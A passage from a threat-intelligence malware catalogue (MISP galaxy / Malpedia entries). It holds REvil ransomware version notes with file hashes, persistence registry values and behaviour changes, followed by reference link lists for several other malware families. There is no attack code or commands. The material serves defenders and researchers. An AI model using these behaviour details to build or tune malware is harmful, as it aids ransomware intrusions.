-→ tgE * cMtS -→ 8K09 * WGg7j -→ xMtNc * zbhs8h -→ CTgE4a * H85TP10 -→ oE5bZg0 * GCZg2PXD -→ DC408Qp4

```
REvil v1.06
MD5: 65ff37973426c09b9ff95f354e62959e
SHA1: b53bc09cfbd292af7b3609734a99d101bd24d77e
SHA256: 0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e
* Updated string decoding function to break existing yara rules. Likely the result of
the blog posted by us.
* Modified handling of network file encryption. Now explicitly passes every possible
"Scope" constant to the WNetOpenEnum function when looking for files to encrypt. It
also changed the 'Resource Type" from RESOURCETYPE_DISK to RESOURCETYPE_ANY which will
now include things like mapped printers.
* Persistence registry value changed from 'lNOWZyAWVv' to 'sNpEShi30R'
```

```
* Changes registry key values from --> to:
  * tgE --> 73g
  * 8K09 --> vTGj
  * xMtNc --> Q7PZe
  * CTgE4a --> BuCrIp
  * oE5bZg0 --> lcZd7OY
  * DC408Qp4 --> sLF86MWC
```

REvil v1.07 MD5: ea4cae3d6d8150215a4d90593a4c30f2 SHA1: 8dcbcbefaedf5675b170af3fd44db93ad864894e SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3 TBD

The tag is: *misp-galaxy:malpedia="REvil (Windows)"*

REvil (Windows) is also known as:

- Sodin
- Sodinokibi

Table 2976. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.revil
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://www.bleepingcomputer.com/news/security/revil-ransomware-devs-added-a-backdoor-to-cheat-affiliates/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/
https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f
https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/
https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf
https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40
https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/
https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf

https://www.nytimes.com/2019/08/22/us/ransomware-attacks-hacking.html
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://www.youtube.com/watch?v=P8o6GItci5w
https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/
https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/
https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident
https://intel471.com/blog/changes-in-revil-ransomware-version-2-2
https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf
https://www.certego.net/en/news/malware-tales-sodinokibi/
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/
https://securityaffairs.co/wordpress/98694/malware/sodinokibi-kenneth-cole-data-breach.html
https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit
https://securelist.com/sodin-ransomware/91473/
https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80
https://twitter.com/resecurity_com/status/1412662343796813827
https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?*blob=publicationFile&v=2[https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf*?blob=publicationFile&v=2]
https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states

https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/
https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/
https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/
https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf
https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain
https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/
https://blog.amossys.fr/sodinokibi-malware-analysis.html
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt
https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.bleepingcomputer.com/news/security/revils-tor-sites-come-alive-to-redirect-to-new-ransomware-operation/
https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles
https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ
https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html
https://www.youtube.com/watch?v=QYQQUUpU04s
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos
https://twitter.com/*alex_il*/status/1412403420217159694[https://twitter.com/*alex_il*/status/1412403420217159694]
https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html
https://unit42.paloaltonetworks.com/revil-threat-actors/

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/
https://community.riskiq.com/article/3315064b
https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html
https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope
https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/
https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya
https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-new-york-airport-systems/
https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html
https://twitter.com/SophosLabs/status/1413616952313004040?s=20
https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json
https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/
https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf
https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo
https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel
https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment
https://securelist.com/ransomware-world-in-2021/102169/
https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html

https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89
https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil
https://home.treasury.gov/news/press-releases/jy0471
https://www.documentcloud.org/documents/21505031-hgsac-staff-report-americas-data-held-hostage-032422
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload
https://www.connectwise.com/resources/revil-profile
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/
https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/
https://unit42.paloaltonetworks.com/prometheus-ransomware/
https://www.advanced-intel.com/post/revil-vanishes-from-underground-infrastructure-down-support-staff-adverts-silent
https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/
https://analyst1.com/file-assets/History-of-REvil.pdf
https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://sites.temple.edu/care/ci-rw-attacks/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://www.kaseya.com/potential-attack-on-kaseya-vsa/
https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/
https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/
https://twitter.com/svch0st/status/1411537562380816384
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs
https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-says-travelex-will-pay-one-way-or-another/
https://ke-la.com/will-the-revils-story-finally-be-over/

https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/
https://twitter.com/VK_Intel/status/1374571480370061312?s=20
https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa
https://twitter.com/SyscallE/status/1411074271875670022
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil
https://f.hubspotusercontent10.net/hubfs/5943619/Whitepaper-Downloads/Ransomware_in_ICS_Environments_Whitepaper_10_12_20.pdf
https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/
https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/
https://www.netskope.com/blog/netskope-threat-coverage-revil
https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317
https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom
https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf
https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/
https://threatintel.blog/OPBlueRaven-Part1/
https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom
https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/
https://www.secureworks.com/research/lv-ransomware
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801
https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights
https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/
https://blag.nullteilerfrei.de/2019/11/09/api-hashing-why-and-how/

https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version
https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin
https://twitter.com/LloydLabs/status/1411098844209819648
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/
https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf
https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/
https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack
https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/
https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/
https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.zdnet.com/article/revil-ransomware-gang-launches-auction-site-to-sell-stolen-data/

https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/
https://velzart.nl/blog/ransomeware/
https://www.justice.gov/opa/pr/sodinokibirevil-ransomware-defendant-extradited-united-states-and-arraigned-texas
https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics
https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/
https://hatching.io/blog/ransomware-part2
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/
https://www.youtube.com/watch?v=l2P5CMH9TE0
https://twitter.com/VK_Intel/status/1411066870350942213
https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/
https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-may-tip-nasdaq-on-attacks-to-hurt-stock-prices/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain
https://twitter.com/R3MRUM/status/1412064882623713283
https://vimeo.com/449849549
https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions
https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/
https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend
https://blog.group-ib.com/REvil_RaaS
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/
https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware
https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045
https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/
https://www.secureworks.com/blog/revil-the-gandcrab-connection
https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/
https://www.flashpoint-intel.com/blog/revil-disappears-again/
https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/
https://www.secureworks.com/research/revil-sodinokibi-ransomware
https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/
https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html
https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20
https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/
https://isc.sans.edu/diary/27012
https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/
https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis
https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/
https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf
https://www.secureworks.com/research/threat-profiles/gold-southfield
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.bbc.com/news/technology-59297187
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/
https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/
https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/
https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/
https://www.kpn.com/security-blogs/Tracking-REvil.htm
https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/
https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/
https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf
https://www.ironnet.com/blog/ransomware-graphic-blog
https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/
https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/
https://asec.ahnlab.com/ko/19640/
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf
https://redcanary.com/blog/uncompromised-kaseya/
https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.grahamcluley.com/travelex-paid-ransom/
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view
https://threatpost.com/ransomware-revil-sites-disappears/167745/
https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/
https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf
https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html
http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html
https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html
https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html
https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/
https://twitter.com/fwosar/status/1420119812815138824
https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide
https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/
https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released
https://twitter.com/fwosar/status/1411281334870368260
http://www.secureworks.com/research/threat-profiles/gold-southfield
https://asec.ahnlab.com/ko/19860/
https://twitter.com/Jacob_Pimental/status/1391055792774729728
https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process
https://www.cyjax.com/2021/07/09/revilevolution/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/
https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/
https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://twitter.com/SophosLabs/status/1412056467201462276
https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/
https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/
https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://www.youtube.com/watch?v=tZVFMVm5GAk
https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/

RGDoor

The tag is: *misp-galaxy:malpedia="RGDoor"*

RGDoor is also known as:

Table 2977. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor
https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-lyceum
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran
https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/

Rhino

Ransomware.

The tag is: *misp-galaxy:malpedia="Rhino"*

Rhino is also known as:

Table 2978. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino
https://www.vmray.com/cyber-security-blog/rhino-ransomware-malware-analysis-spotlight/

RHttpCtrl

The tag is: *misp-galaxy:malpedia="RHttpCtrl"*

RHttpCtrl is also known as:

Table 2979. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/

Rietspoof

Rietspoof is malware that mainly acts as a dropper and downloader, however, it also sports bot capabilities and appears to be in active development.

The tag is: *misp-galaxy:malpedia="Rietspoof"*

Rietspoof is also known as:

Table 2980. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rietspoof
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-spoofing-reeds-rietspoof/
https://blog.avast.com/rietspoof-malware-increases-activity
https://decoded.avast.io/threatintel/spoofing-in-the-reeds-with-rietspoof/

Rifdoor

The tag is: *misp-galaxy:malpedia="Rifdoor"*

Rifdoor is also known as:

Table 2981. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf]
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/

Rikamanu

The tag is: *misp-galaxy:malpedia="Rikamanu"*

Rikamanu is also known as:

Table 2982. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

Rincux

The tag is: *misp-galaxy:malpedia="Rincux"*

Rincux is also known as:

Table 2983. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux
https://www.virusbulletin.com/uploads/pdf/conference_slides/2011/Edwards-Nazario-VB2011.pdf

Ripper ATM

The tag is: *misp-galaxy:malpedia="Ripper ATM"*

Ripper ATM is also known as:

Table 2984. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm
http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

Rising Sun

The tag is: *misp-galaxy:malpedia="Rising Sun"*

Rising Sun is also known as:

Table 2985. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf
https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

